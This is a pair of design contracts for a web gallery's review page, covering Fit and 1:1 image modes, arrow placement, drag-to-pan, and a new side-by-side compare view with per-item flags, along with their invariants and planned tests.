status: "PROPOSED 2026-09-23 by design-dev; heid contract panel (4/4) folded, from the operator's ask relayed by booth-dev (thread 01M38FPYAY5RSMSB9BGQ23CFM7) and his ruling 'Fit may enlarge' (thread 01M38EESKR8T7A8XMCQPHRNP0E). Sequenced after r2b and before r3 (compare), so compare reuses this machinery rather than growing a second copy."
module: "templates/view.html + base.html CSS (the review stage: fit / 1:1, the prev/next arrows, drag-pan)"
purpose: "The operator, verbatim: 'fit and 1:1 modes as well as moving the forward and back arrows closer to the edge of the image instead of out at the edges unless the image spans the entire width. mouse click and pan for 1:1 mode if it exceeds page width (defeat drag drop of image)'. Fit/1:1 exists but hides whenever a picture fits at natural size, and Fit never enlarges, so the two modes often look identical and the toggle comes and goes from picture to picture. The arrows sit at the stage's edges, hundreds of pixels from a portrait picture. 1:1 pans only by scrollbars, and a drag picks the picture up."
depends_on:
- "view.html (R2 C6): the stage `#vstage` (server-rendered `vstage fit`), `#vimg`, `#vtoggle` with `#btn-fit`/`#btn-one`, the `.vnav.vprev`/`.vnav.vnext` anchors inside `.review-body`, the review keys and their `isEditable` guard."
- "base.html: `.vstage`, `.vstage.fit`, `.vstage.one`, `.review-body` (grid: stage + 360px rail; stacked at <=900px)."
- "r2b D2: Reveal all and the stage's own reveal (`#vreveal`) — untouched; they read the blur classes, not the fit classes."
language: "jinja + css + a little javascript"
complexity: "medium"
estimated_loc: 220
confidence: 0.7
touches:
- "booth/templates/view.html (the toggle markup; the stage-mode script; the arrow placement; drag-pan)"
- "booth/templates/base.html (Fit-fills CSS; 1:1 cursor; the stage reveal's position; `stage-one` in the head script)"
- "tests/test_flow.py, tests/test_flow_browser.py; tests/mutations/r2c.toml (new)"
assumptions:
- "ONE VIEWER, per r2: the stage mode is a per-browser preference."
- "No server change: every part of this is markup, CSS and page script."
---
# R2c — the review stage
## S1 — Fit fills; 1:1 is the pixel truth
- **Fit scales the picture to the largest size at which it is WHOLE inside the
stage, UP or down, undistorted** (ruling "Fit may enlarge"): contain, never
cover — nothing is ever cropped in Fit. It is CSS: the image box fills the
stage and `object-fit: contain` places the picture in it. So the no-JS render
is also Fit-fills — a declared change to R2's INV-3 note ("with scripts off
the image shows at fit size"): the size changes, the promise (one picture at a
readable size, no judgment behind a script) holds.
- The drop shadow follows the picture's own pixels (`drop-shadow`), not the
letterboxed box, on every path: blurred (`blur() drop-shadow()`, because
`filter` is one property and a blur rule would replace the shadow),
revealed, and under Reveal all.
- **1:1 shows natural pixels**, centred when smaller than the stage and
scrollable when larger, with EVERY pixel reachable. The stage aligns to its
START edge in 1:1, and the picture's auto margins centre it when it is
smaller. A centred flex item larger than its scroll box overflows both
sides, and the start side can never be scrolled to (heid code-review,
measured: a 3000px picture hid its leftmost 980px). The upscale softness in Fit is exactly why 1:1 exists
and is always one click away.
## S2 — the toggle is always there for a picture
- **Fit | 1:1 shows for EVERY picture**, never hidden because a picture happens
to fit — that per-picture hide is why the operator could not find the
feature. Video and audio still get no toggle.
- It is in the markup with `hidden` for pictures only; the script removes
`hidden`. Without JS it never shows (Fit-fills needs no toggle).
- **The mode persists across prev/next, per browser**: every click writes
`localStorage["booth.fit"]` = `one` or removes it (Fit); arrowing through a
set in 1:1 is how detail gets compared.
- **The mode is ONE class on `<html>`, `stage-one`** (absent = Fit), set by
the early `<head>` script — the one r2b uses for the theme and Reveal all —
BEFORE THE STAGE EXISTS in the document. So no paint can ever show a 1:1
reel's stage in Fit: the class is there before the stage is parsed. The
stage's CSS keys off it (`.stage-one .vstage`); the server renders the
stage as plain `vstage` (Fit is the default, no class needed).
- A stored value other than `one` reads as Fit. A read that throws reads as
Fit; a write that throws still applies the click, the pressed state
included. Never raises.
- A mode chosen in another tab moves every open review (the `storage` event),
as the theme does.
- The buttons' pressed state is drawn from the `<html>` class, the one
record of the mode on the page (storage is its memory, off the page).
## S3 — the arrows sit at the picture
- **Each arrow sits wholly outside the picture's DRAWN edge, its near edge 8px
from the picture**, vertically centred on the stage. The measure is always
the DRAWN picture, never the file's natural size: the `object-fit: contain`
content box (from the natural size and the box). In 1:1 (scale 1) that IS the
picture's own box, and where it runs past the stage the clamp keeps the arrows
inside. A
video's own box counts the same way; audio keeps the stage-edge arrows.
- **Clamped to the stage's CLIENT box**: an arrow never goes past the stage's
edge (8px inset), never over the rail, never off the stage, and never under
a classic scrollbar (the client box excludes it). When there is no room for
it outside the drawn picture — the drawn picture spans, or nearly spans, the
stage's width — it sits at the stage edge, over the picture. That is the
ONLY case the arrows sit at the stage edge (the operator: "closer to the edge
of the image instead of out at the edges unless the image spans the entire
width").
- Re-placed on picture load (or at once when it is already loaded), stage
resize (a `ResizeObserver`, which covers window resizes and the rail
stacking) and mode switch. (Scrolling a 1:1 picture cannot move its drawn
horizontal edges past the clamp, so it needs no re-placement.)
- **Before the picture's size is known** (JS on, picture still loading), and if
it fails to load, the arrows stay at their CSS spot; they move once the drawn
box is known. Without JS they stay there. If the size ever becomes unknown
again, a placed arrow returns to that spot rather than keeping a stale one.
- That CSS spot is the STAGE's vertical centre. When stacked (≤900px) that
is 30vh down: the stage is the body's first 60vh, and centring on the
whole body put the arrows over a tall rail (heid code-review). The rule
lives in view.html after `.vnav`, because a base.html rule loses to the
page's own later one.
- The anchors, their classes and their hrefs are unchanged (test_booth,
test_navigation, test_flow pin them).
## S4 — drag to pan in 1:1
- **In 1:1, when the picture overflows the stage on EITHER axis,
press-and-drag pans it**, along whichever axes overflow. `grab` cursor at rest,
`grabbing` while dragging, pointer capture.
- **The picture follows the pointer** (the grab convention): a drag of +dx,
+dy changes the stage's scroll by −dx, −dy.
- A press that moves less than 4px IN TOTAL (Euclidean) is not a drag:
nothing pans. A (3, 3) diagonal is 4.24px, so it pans.
- A press on the stage's own scrollbar is the scrollbar's, never a pan.
- The drag is CAPTURED once it begins, so it keeps panning past the stage's
edge. A press released outside the stage before the drag began never
becomes a pan: a move with no button held ends it.
- **Pan listens on the stage only**, and no control is in the stage's
scrolled content: the arrows never were, and **the stage's own reveal
button moves OUT of the stage to sit over it** (found building this: in
1:1 a panned picture carried the button out of view with it). So a control
is never a pan source and keeps its own click, at any scroll.
- That reveal is JS-only, so it renders `hidden` until the script binds it,
the toggle's pattern (heid bug-hunt: shown with scripts off, it did
nothing). A revealed picture keeps Fit's drop shadow.
- Accepted: no `touch-action`. On touch the stage scrolls natively, and the
pan yields on `pointercancel`; `none` would take native touch scrolling
away. The `dragstart` `preventDefault` sits beside `draggable=false` as a
second layer.
- **The picture cannot be dragged away**: `draggable="false"` on `#vimg` and a
`dragstart` `preventDefault` on the stage.
- Fit, or a 1:1 picture that fits: no pan, no grab cursor.
- Keys, the stage reveal, Reveal all, the rail and the filmstrip are
unchanged.
## Invariants
- **INV-1 — no server change.** Markup, CSS, page script.
- **INV-2 — JS-off parity.** Without JS: Fit-fills, stage-edge arrows, no
toggle, no pan, and every judgment (the rail's flag, note and pick forms) and
navigation (the arrows and the filmstrip) intact.
- **INV-3 — one record of the mode** on the page: `stage-one` on `<html>`.
- **INV-4 — the arrows never cover the rail and never leave the stage.**
- **INV-5 — storage never raises**, read or write.
## TESTS
- `fit_fills_the_stage_up_or_down` [tracer]: a picture smaller than the stage
and one larger both draw at the scale `min(W/w, H/h)` in Fit — the contain
content box, never cropped — and at natural size in 1:1.
- `the_toggle_shows_for_every_picture_and_never_without_js`: a picture that
fits at natural size still gets the toggle; video and audio do not; with JS
off it never shows.
- `the_mode_persists_across_prev_next_and_never_flashes`: choose 1:1, press
→ ; an observer installed before any page script records `<html>`'s class at
the moment the stage ELEMENT is inserted by the parser — it is already
`stage-one` (so no paint can show that stage in Fit); storage throwing still
applies the click; a stray stored value reads as Fit.
- `the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage`: a portrait
picture whose natural width exceeds the stage but which is DRAWN narrower
(height-bound in Fit) — each arrow wholly outside the drawn picture, its near
edge 8px (±2) from it; a landscape drawn as wide as the stage — arrows inside
the stage at its edges, over the picture, never over the rail; after a window
resize they follow the new drawn box.
- `in_one_to_one_every_pixel_of_a_large_picture_is_reachable`: at scroll
(0, 0) the picture's top-left is the stage's; at the far scroll its
bottom-right is; a small picture is centred.
- `a_pan_holds_past_the_stage_edge_and_never_starts_on_a_hover`: a drag
carried past the stage's edge keeps panning; a press released outside,
then a buttonless hover, pans nothing.
- `before_placement_the_arrows_never_sit_over_the_rail_on_a_narrow_screen`:
JS off at 390px with a rail taller than the stage, the arrows sit within
the stage; a picture that fails to load leaves them unplaced, with no error.
- `the_stage_reveal_never_shows_without_js_and_keeps_the_fit_shadow`.
- `a_stage_mode_chosen_in_one_tab_moves_the_others`.
- `a_classic_scrollbar_is_neither_under_an_arrow_nor_a_pan`: with a forced 15px
classic bar (asserted real first: headless Chromium hides scrollbars), the
next arrow sits inside the client box, and a press dispatched on the bar
pans nothing.
- `a_picture_that_overflows_one_axis_pans_along_it`.
- `in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away`: a picture
overflowing both axes in 1:1 — a drag of (+80, +60) changes the scroll by
(−80, −60); a 2px press pans nothing; a press on the stage's reveal button
reveals and does not pan; `#vimg` is `draggable=false`; in Fit a drag does not
scroll.
## Assertions that change (declared before the code)
| test | today | after | why |
|---|---|---|---|
| test_flow_browser `test_the_next_arrow_clears_the_rail_only_beside_it` | the next arrow's computed `right` is 360px wide / 0px narrow | replaced by `the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage` (never over the rail; at the picture's edge) | the arrows now track the picture, not the stage edge (operator) |
| test_flow_browser `test_reveal_all_reveals_every_blurred_surface_and_survives_the_next_page` (r2b) | the revealed review stage's filter is `none` | it carries no blur (`blur(` absent); Fit's `drop-shadow` stays | the stage keeps its shadow on every path (S1) |
| tests/mutations/r2_flow.toml, the row on the next arrow's 360px offset | proved `.vnext{right:360px}` wide / 0 narrow | retired, with successors in r2c.toml | its test was replaced (row one above) |
| test_flow `test_only_a_picture_gets_the_fit_toggle_and_blur_stays_honest` | `id="vtoggle"` present for a picture (hidden by inline style); the stage is `class="vstage fit is-blurred"` | the same presence, now with the `hidden` attribute; the stage is `class="vstage is-img is-blurred"` | the toggle is `hidden` until the script shows it; the mode moved to `<html>` (never flash); `is-img` scopes the picture-only 1:1 rules |
## Out of scope
- Synced pan / the same crop across items, and two panes: r3 (compare).
- A zoom level between Fit and 1:1, wheel zoom, pinch.
- A key for the mode toggle.
+345
View File
@@ -0,0 +1,345 @@
---
contract_version: "0.1"
status: "PROPOSED 2026-09-24 by design-dev. The operator ruled compare into this arc on 2026-09-23 (the `flow` mark: compare `this_arc`, as C 'The Bench' made a view toggle). He ruled its two open questions on 2026-09-24, in design-dev's session: pairs are PICKED, never detected; the verdict is a FLAG on the winner, with no A/same/B record. booth-dev agreed with both beforehand (thread 01M3952NCDRRJX5XDFSPMSP5HJ), and asked that the URL be keyed by rel. It reuses r2c's stage machinery rather than growing a second copy."
module: "GET /b/{name}/compare + templates/compare.html (two stages, one judgment each), with the stage machinery shared with view.html"
purpose: "Put two items of a booth side by side in two equal stages (and, for pictures of the same size in 1:1, at the same crop), so the operator can judge which is better and flag the winner, then step to the next pair. This is the job the ladders and bakeoffs already run by eye across two tabs. sindra-bakeoff is the proving case: m against r, the same scene and seed, 16 pairs. It is laid out as two parallel runs in sorted order, so a linked step walks it pair by pair with no pairing rule."
depends_on:
- "items.py: `booth_items`, `review_chain` (the media ring, in item order), `find_item`, `REVIEW_KINDS`, `Item.{rel,url,kind,ordinal,caption,blurred,thumb}`."
- "app.py: `resolve_booth`, `record_view`, `record_seen` (never raises), `marks_for` / `flagged_targets`, `_mark_redirect` (the JS-off landing, gains `back=compare`), `_mark_done` (the 204 path, unchanged)."
- "view.html (R2 C6 + r2c): the review this is entered from; its stage script (Fit/1:1 as `stage-one` on <html>, drag-pan) is the machinery this unit shares."
- "base.html: the head script that sets `stage-one` from `localStorage['booth.fit']` before any stage exists; the in-place client (`form[data-inplace]` -> 204 -> swap every `data-region`, then `booth:swapped`); Reveal all."
language: "python (one route, one redirect branch) + jinja + css + javascript"
complexity: "medium"
estimated_loc: 420
confidence: 0.75
touches:
- "booth/app.py (the compare route; `_mark_redirect` gains `back=compare`)"
- "booth/templates/compare.html (new)"
- "booth/templates/_stage_js.html (new: the stage machinery, moved out of view.html and shared)"
- "booth/templates/view.html (includes _stage_js.html; gains the Compare entry and its C key)"
- "booth/templates/base.html (compare layout CSS)"
- "tests/test_compare.py, tests/test_compare_browser.py (new); tests/mutations/r3.toml (new)"
assumptions:
- "ONE VIEWER, as in R2: the linked toggle and the active side are per page load; the stage mode stays the r2c per-browser preference."
- "No new storage and no new mark shape (the operator's ruling): the verdict is the existing flag, through the existing in-place POST."
- "A pair is two items of the same booth's review ring. Comparing across booths is not this unit."
---
# R3 — compare
## C1 — the route and the pair
- **`GET /b/{name}/compare?a=<rel>&b=<rel>`.** Both are booth-relative paths,
exactly as `view?f=<rel>` takes one (U1 identity). **Never ordinals**: an
ordinal is a position in the set as it is now (r2_flow, row 4). A file added
mid-bakeoff shifts every later ordinal, so a bookmarked compare would open two
different pictures and nothing would look wrong (booth-dev's seam note). The
page PRINTS both ordinals.
- **The rule for each side is a CONJUNCTION** (booth-dev's seam pass, S2). The
review's rule alone is not enough, and neither is ring membership alone:
1. the view route's resolve / containment / `is_file` check passes. That is
what 404s a symlink pointing outside the booth, which `booth_items` DOES
list, because it follows symlinks;
2. AND the rel is in `review_chain(items)`. The review does not 404 a doc
item (it renders it); compare does.
Anything else is a **404**, never a 500: an embedded NUL raises ValueError
and is a 404.
- **A missing or empty param is a 404, not FastAPI's 422.** The review
declares `f: str` and so answers 422 when `f` is absent. Compare declares
`a: str = ""` and `b: str = ""`, 404s an empty one, and checks each with the
same `isinstance(str)` that `_mark_redirect`'s `back=view` branch gives `f`
(the view route itself declares `f: str` and checks nothing more).
- **Route order:** the compare route is registered BEFORE the catch-all
`/b/{name}/{filepath:path}`, as view is. Accepted, and written down: a booth
FILE literally named `compare` is unreachable at `/b/<name>/compare`. This
is the same shadowing view, marks, asks and embed.json already cause.
- `a == b` is allowed. It is pointless but harmless: the same picture twice.
- **A look records both.** `record_view(booth)` once, and `record_seen` for `a`
and then for `b`, below the 404s and gated on the records, as the view route
gates it. Both calls never raise.
- **The compare ring** is the review ring filtered by that same conjunction:
item order, media only, less anything compare would 404 (an outside symlink
stays in the review ring). EVERY compare link is built from it: the strip,
the steps, the review's Compare control and the `back=compare` landing. So
no navigation offers a pair that 404s, and a step walks over such an item.
- **Each rel is judged ONCE per request** (booth-dev, after the merge). The
route builds the compare ring once and judges both sides by membership of
it. Resolving a rel twice lets a file that vanishes between the two reach a
lookup that raises, a 500. The review re-judges its own item first and scans
forward for the next comparable one; when its item is no longer comparable,
the review renders WITHOUT a Compare control (and `C` does nothing), never a
500.
- The response carries, per side: the rel, its quoted url, ordinal, kind,
caption, blurred, flagged and thumb. It also carries the compare ring as a
filmstrip in RING ORDER (the view route's `film`, one line in the route's docstring),
the linked and per-side step targets (C3), the back link (the review of `a`,
which is also where `Esc` goes), and `ord_width`.
## C2 — picking the two
- **From the review:** a `Compare` control in the review's top bar, and the key
`C`, open `compare?a=<this item>&b=<the next item in the ring>`. With a ring
of one item, `b` is the item itself.
- **On the compare page, the filmstrip is the picker.**
- Each frame is marked `A`, `B`, or nothing (both marks when `a == b`).
- With JS, a click on a frame sets the ACTIVE side to that item and stays on
the compare page. The active side defaults to B.
- The active side wears the SVOS reticle (the one selection device). A press
on either stage (pointerdown, so starting a 1:1 pan there also makes it
active), or the key `X`, makes that side (or the other) active.
- **The active side lives on a NON-region element**, the side's wrapper
around its stage, and in the URL's `side` (C2), rewritten in place when it
changes. An in-place save swaps regions (strip, labels, flags), and
the in-place client carries only `revealed` and `is-closed` across a swap,
so state kept on a region would be dropped. The strip's markers for the
ACTIVE side are re-applied on `booth:swapped`. Strip clicks are delegated at
the document, because the frames are replaced.
- Without JS, every frame is a link that sets the active side from the URL
(B by default): `compare?a=<a>&b=<frame>`.
- **The view state rides in the URL too**, because every pick and step is a
navigation, and state kept only in the page would reset on each one:
- `side=a` makes A the active side (absent means B);
- `link=0` unlinks the stepping (absent means linked).
These are view state, not identity: an unknown value reads as the default,
never as an error, and every server-built link carries the current values
forward. The PAIR is still only the two rels. The route declares
`side: str = ""` and `link: str = ""`, NOT an int or a Literal, which would
bring S1's 422 back for `link=maybe`.
- **Why B is the default active side:** A is where you came from, the anchor.
B is what you are weighing it against, so a strip pick changes the
comparison and not the anchor. `X` or a click on A makes A active.
- The picked pair is ALWAYS in the URL. Every pick and every step is a
navigation (a FULL page load) to a compare URL. The linked state and the
active side survive it only because they ride the URL too (above); nothing
else about the page is carried across a step, so the back button walks back through the pairs,
and a reload shows the same pair.
## C3 — stepping
- **Linked (the default):** `←` and `→` move BOTH sides one place along the
ring, keeping their distance: `(ia ± 1, ib ± 1)`, each modulo the ring
length (the review's wrap). This walks a bakeoff's parallel runs: `#09 · #25`,
then `#10 · #26`.
- **Unlinked:** `←` and `→` move only the ACTIVE side.
- The `Linked` toggle sits in the top bar, with the key `L`. Its state is the
URL's `link` (C2): toggling it rewrites the current URL in place
(`history.replaceState`) and the step links, so the next step keeps it. A
fresh compare from the review starts linked. It is not stored anywhere
else: a remembered unlinked state would surprise the next compare.
- `Space` and `Shift+Space` act as `→` and `←`, with the review's guard: never
from a focused control, and never while a player on either stage has focus.
- **Every key on this page** (`←` `→` `Space` `A` `B` `X` `L` `Z` `C` `Esc`) is
ignored while focus is in something editable, and whenever a modifier
(Ctrl, Meta, Alt) is held: the review's `isEditable` rule, applied to all of
them, not only to Space.
- `C` and `Esc` both return to the review of A. `C` is the view toggle: `C` in
the review opens compare with that item as A, and `C` again goes back to it.
- Without JS, the page renders plain links for "both back", "both forward",
and each side's back and forward, with server-computed targets.
## C4 — the stages
- **Two stages side by side** when the viewport is wider than 900px. Each is
half the body and labelled `A #09 <name>` / `B #25 <name>`. At 900px and
below they STACK, A above B, each at most 45vh tall. The stack break is the
review's.
- **The two stages are always the same size.** The sides share one set of rows
(subgrid), so a caption under one side takes its height from both stages,
never from that side's alone, and the separator between them is a column
gap, never a border that comes out of one side's width. Two stages of
different sizes would draw the same picture at two scales in Fit.
- **At phone width (600px and below) a top bar that cannot hold its controls
WRAPS** instead of scrolling the page sideways or crushing a control. The
rule is on `.vbar`, so it applies to every bar of that class: compare's, the
review's (which gains the Compare control, only its glyph below 600px), and
doc.html's. The review's bar was already full: a fogged booth
overflowed it by 3px at 390px before r3.
- **Each stage is the r2c stage:** Fit fills (up or down, contain, never
cropped), or 1:1 at natural pixels with every pixel reachable. Drag pans a
1:1 picture that overflows. The picture cannot be dragged away. Video and
audio play in their own stage.
- **One mode for both:** the SAME `stage-one` class on `<html>` and the same
`localStorage['booth.fit']`. Choosing 1:1 on the compare page is choosing it
for the review, and back, because the mode is a per-browser preference
(r2c S2). The `Fit | 1:1` toggle is in the top bar. The key `Z` switches
it ON THE COMPARE PAGE ONLY, bound by compare.html and not by the shared
include, so the review gains no key beyond `C` (INV-6). Provenance: r2c's
out-of-scope lists "a key for the mode toggle" as its own line, not parked
into r3. Compare takes it because comparing detail means switching modes
often.
- **Synced pan (parked into r3 by r2c): in 1:1, panning either stage pans the
other to the SAME FRACTION of its scrollable range**, on each axis
independently.
- For two pictures of the same size, that is the same crop: the same pixels
under the same point.
- A side with nothing to scroll on an axis ignores that axis.
- A scroll caused by the sync never re-triggers a sync, so there is no loop
and no drift.
- Scrollbars and wheel/trackpad scrolling sync the same way as drags, because
the sync listens to `scroll`, not only to drags.
- **One copy of the machinery, behind a stated interface** (S7: today's script
is single-instance and ID-keyed, and `settle` is `place` + `pannable`). The
include `_stage_js.html` defines two things and binds nothing by itself:
- **`BoothMode.bind({toggle, fit, one, onChange})`: page level.** It owns the
`stage-one` class, `setMode`, the pressed state, the storage writes and the
cross-tab `storage` listener. It never raises. A page binds it ONLY when at
least one of its stages is an image, which is the review's rule today; two
videos get no toggle.
- **`BoothStage.attach(stageEl, {img, onSettle})`: once per stage.** It owns
`pannable()`, drag-to-pan (the 4px threshold, capture, scrollbar exclusion,
`dragstart` prevention) and the stage's `can-pan` / `is-grabbing` classes.
It calls `onSettle()` after its own settle, and it returns
`{settle, pannable}`.
- **view.html:** attaches its one stage with `onSettle = place`, so the
arrows stay view's own code. It binds `BoothMode` exactly as today, and
keeps EVERY id it has (`vstage`, `vimg`, `vtoggle`, `btn-fit`, `btn-one`,
`vreveal`, `vmedia`, `vflag-btn`), because test_flow_browser queries them.
Its reveal, keys, `centreFilm` and ResizeObserver stay in view.html. It
has no floating arrows to add.
- **compare.html:** attaches both stages and binds `BoothMode` once, with an
`onChange` that settles both. Its per-side reveal buttons are its own code.
It owns its OWN `ResizeObserver` over both stages, calling each stage's
`settle`, because `pannable` changes on resize. `BoothStage.attach` does
NOT own a ResizeObserver, so view.html's observer, and its mutation row,
stay where they are.
## C5 — judging
- **Each side has its own flag control**, the existing flag form (`POST
/b/{name}/flag`, `data-inplace`, 204 with JS). The verdict is "flag the
winner", and flagging both is allowed. **What a flag records, stated plainly
because it is the ruled trade-off:** a flag says "this one is good". Both
flagged means both are good. Neither flagged means no call, OR a tie, and
the flags cannot tell those apart. That is exactly why the A/same/B record
was parked, not an oversight. Flagging the loser is the operator's
prerogative; the page does not police it.
- Keys: `A` toggles A's flag and `B` toggles B's. No `F` on this page,
because which side it meant would be a guess. Each key LOOKS UP ITS BUTTON
AGAIN at press time, because a save may have replaced it (the review's
`vflag-btn` rule).
- The flag controls, the filmstrip and each side's label are `data-region`s,
so an in-place save refreshes them. The stages are never regions,
because swapping one would restart a playing track (the review's rule).
- **Region ids are unique on the page and keyed by SIDE** (S4): `flag-a`,
`flag-b`, `label-a`, `label-b`, `film`. The swap keeps only the FIRST fresh
node for each id and copies it over EVERY live node with that id. A shared
`flag` id would therefore turn B's control into A's after any save, so
that pressing B flagged A, and nothing would show it. The ids are NOT
keyed by rel, which `a == b` would duplicate, and NOT prefixed `item-`,
which the swap reads as a stale tile.
- **Without JS, a flag lands back on the same compare page:** the form carries
`back=compare`, `a`, `b`, `side` and `link`, and `_mark_redirect` builds
`/b/<name>/compare?a=<quote(a, safe="/")>&b=<quote(b, safe="/")>` from them,
appending `&side=a` ONLY when the form's value is exactly `a` and `&link=0`
ONLY when it is exactly `0`, in that order. The view state is mapped from
that closed set and never echoed. The URL has NO fragment (the flags sit beside the stages, so there is nothing to
scroll to). It does that ONLY when both are strings in the ring, quoting each
as the view branch does. It is built from the checked rels and
never echoed from the form. Anything else takes the no-`back` landing. Every
other `back` value is byte-identical to today (R2 INV-4).
- Notes and the booth's open questions stay on the review. Compare carries only
the flag, plus a `review A` / `review B` link on each side to the item's full
review.
## C6 — blur and captions
- **Blur honesty per side:** a blurred item renders blurred, with its own
reveal button over its stage (the review's pattern: JS-only, `hidden` until
bound, never inside the scrolled content). Reveal all reveals both.
- The blur CSS is scoped to `.review` (base.html: `.review .vstage.is-blurred
img`, the `.revealed` and `is-img` rules, and Reveal all's `.reveal-all
.review .vstage.is-blurred …`). The compare root is therefore
`class="viewer review compare"`, and `.compare` overrides the review's
4-row grid and the 360px rail column. The blur rules are not re-scoped:
they and their r2b mutation rows stay as they are.
- Each stage carries `vstage` and `is-img` (for a picture) and
`is-blurred`, exactly as the review's does, so the 1:1 and blur rules
apply unchanged.
- Reveal all hides the review's stage reveal by ID
(`.reveal-all #vreveal`). Compare's per-side reveals use a class,
`cmp-reveal`, and base.html gains `.reveal-all .cmp-reveal{display:none}`.
- compare.html carries `{% block html_attrs %} data-booth="{{ name }}"`,
because without it Reveal all's script and the head script's reveal
restore both bail (S6, r2b's mutation row for the review).
- **Each side's caption** shows under its stage in `.cmp-cap`: the review's
`.vcap` type (size, leading, colour, pre-wrap), clamped to 20vh rather than
the review's 30vh, with its own scroll. Two sides share the height.
## Invariants
- **INV-1 — rel identity.** The pair is two rels, in the URL, always. Nothing
about the pair is stored, and no ordinal ever addresses an item.
- **INV-2 — ring only.** Both sides are media in the review ring that pass the
view route's containment. Every server-computed link (the steps, the
filmstrip, the review's Compare control, the flag landing) stays inside the
compare ring (C1).
- **INV-3 — no new storage and no new mark.** The judgment is the existing flag,
through the existing route and the existing in-place path.
- **INV-4 — JS-off parity.** Without JS (and so without the head script that
would apply a stored 1:1, which is itself a script): two Fit stages. Both
sides' flag forms are present, so choosing which side to flag needs no
picker; per-side and linked step
links; filmstrip links that replace the URL's active side (B by default,
C2); flag forms that land back on the same pair.
Nothing judgment-bearing hides behind a script.
- **INV-5 — one record of the stage mode**, shared with the review:
`stage-one` on `<html>`. Storage never raises.
- **INV-6 — the review is unchanged in behaviour.** It gains a Compare control and
a `C` key. The stage refactor changes no r2c assertion.
## TESTS
Server (`tests/test_compare.py`):
- `compare_renders_the_pair` [tracer]: a booth of four images; `compare?a=<#1>&b=<#3>` → 200; both names and both ordinals are printed; the filmstrip marks #1 A and #3 B.
- `a_bad_side_is_a_404`: a missing `a` or `b`, `..` traversal, a NUL, a dotfile, a doc item, a non-item file → 404 each, never 500.
- `a_look_records_both_seen`: after a compare GET, `.seen` holds both rels; a 404 records nothing.
- `linked_steps_keep_the_distance_and_wrap`: THE FIXTURE PUTS A DOC BETWEEN THE MEDIA (`03-notes.md`), so an ordinal is not a ring position. In a ring of 6 media with a at ring position 2 and b at ring position 5, "both forward" targets ring positions (3, 6), then (4, 1), wrapped; "both back" from (1, 4) targets (6, 3). The assertions name rels, never ordinals.
- `the_urls_are_keyed_by_rel`: every step and filmstrip link carries `a=`/`b=` rels, url-quoted; no link carries an ordinal parameter.
- `a_flag_without_js_lands_on_the_same_pair`: `POST /flag` with `back=compare&a=..&b=..` → 303 to exactly `/b/<name>/compare?a=..&b=..`; with `side=a&link=0` added → exactly `…&side=a&link=0`; with `side=A` or `link=00` → neither appended; with a rel not in the ring → the no-back landing; `Accept: application/json` → 204, unchanged.
- `every_other_landing_is_byte_identical`: the existing `back=view` / `back=marks` / no-back redirects are unchanged (R2 INV-4).
- `the_review_offers_compare_with_the_next_item`: with the doc fixture, the review of a media item links `compare?a=<it>&b=<the next media item in the ring>`, skipping the doc; the last media item links to the first.
- `view_state_rides_the_links`: with `side=a&link=0`, every step and strip link carries both; an unknown `side=z` or `link=maybe` renders as B-active and linked, never an error.
- `no_data_region_repeats`: on a compare page, including `a == b`, every `data-region` value is unique, and the side regions are `flag-a`, `flag-b`, `label-a` and `label-b`.
- `a_missing_param_is_404_not_422`: `compare?a=<x>` without `b` → 404.
- `an_outside_symlink_in_the_ring_is_404`: a booth symlink pointing outside the booth is in review_chain, and compare with it as either side → 404.
- `compare_carries_data_booth`: the page's `<html>` carries `data-booth`.
Browser (`tests/test_compare_browser.py`):
- `two_stages_side_by_side_wide_and_stacked_narrow` [tracer]: at 1440 both stages sit in one row; at 390 A sits above B and each is at most 45vh.
- `one_mode_for_both_and_for_the_review`: `Z` switches both stages to 1:1; `localStorage['booth.fit']` is `one`; the review then opens in 1:1.
- `synced_pan_lands_on_the_same_crop`: two equal-size pictures larger than the stage in 1:1. A drag on A of (+80, +60) scrolls both by (−80, −60). A scrollbar or wheel scroll on B moves A to the same fraction. Neither stage drifts after a second of idle.
- `synced_pan_by_fraction_for_different_sizes`: a 2000px and a 3000px picture, one scrolled to its middle, puts the other at its middle; and one scrolled to 25% of its range puts the other at 25% of ITS range (not at the same pixel offset). This is the test that sees a fraction bug; the equal-size test above cannot, because equal overflow makes offsets and fractions coincide.
- `a_flags_A_in_place_and_the_stages_survive`: press `A` → A's flag shows flagged with no navigation; the stage elements are the same nodes (a stage was not swapped).
- `linked_arrow_walks_a_bakeoff`: in a booth shaped like sindra-bakeoff (lanes m and r, 4 pairs), open m#1 vs r#1 and press `→` three times: each pair shares its scene and seed suffix.
- `unlinked_moves_only_the_active_side_and_the_strip_picks_it`: `L`, then `→`, moves only B, and a SECOND `→` still moves only B (the unlinked state survived the navigation); a click on a strip frame sets the active side's item; `X` swaps the active side and the reticle follows it, and survives the next step.
- `blur_is_honest_on_both_sides`: a blurred B's image has a COMPUTED filter containing `blur(`, not just a class. Its own reveal clears it. Reveal all clears both, and hides both `cmp-reveal` buttons.
- `a_save_keeps_the_active_side`: make A active, flag B in place → A is still active (reticle, strip marker), and a strip click after the swap still sets A.
- `without_js_every_judgment_and_step_still_works`: JS off — the pair renders, the step and strip links navigate, and a flag lands back on the same pair.
- `the_review_still_behaves_exactly_as_r2c_says`: the r2c browser suite passes unchanged against the refactored view.html. This is a gate, not a new test.
## Assertions that change (declared before the code)
| test | today | after | why |
|---|---|---|---|
| no behavioural assertion | — | — | view.html's behaviour is unchanged (INV-6). The only additions are the Compare control and the `C` key, which no current test pins. |
| tests/mutations/r2c.toml: 21 rows anchor in view.html's script; the 15 on the toggle, the storage listener and drag-pan | `file = view.html`, anchors in the inline script | `file = _stage_js.html`, anchors re-pointed to the parameterised code (e.g. `stage.scrollLeft` becomes the attached stage's name) | the code moved (C4); every re-pointed row must still FALSIFY |
| tests/mutations/r2c.toml: the other 6 of those 21, the arrow placement, including the resize row ("S3 the arrows do not follow a resize") | view.html | unchanged: `place()` and view's ResizeObserver stay in view.html (C4) | — |
| tests/mutations/r2b.toml, the row on Space from a focused button | view.html's keydown | unchanged: the keydown handler stays in view.html | — |
| tests/mutations/r2b.toml, "the top-bar controls squeeze into multi-line stacks at phone width" (declared during the build) | removes the no-wrap rules | removes the no-wrap rules AND the phone-width wrap | a wrapping bar never squeezes, so removing the no-wrap rules alone went vacuous; r3.toml rows the wrap on its own |
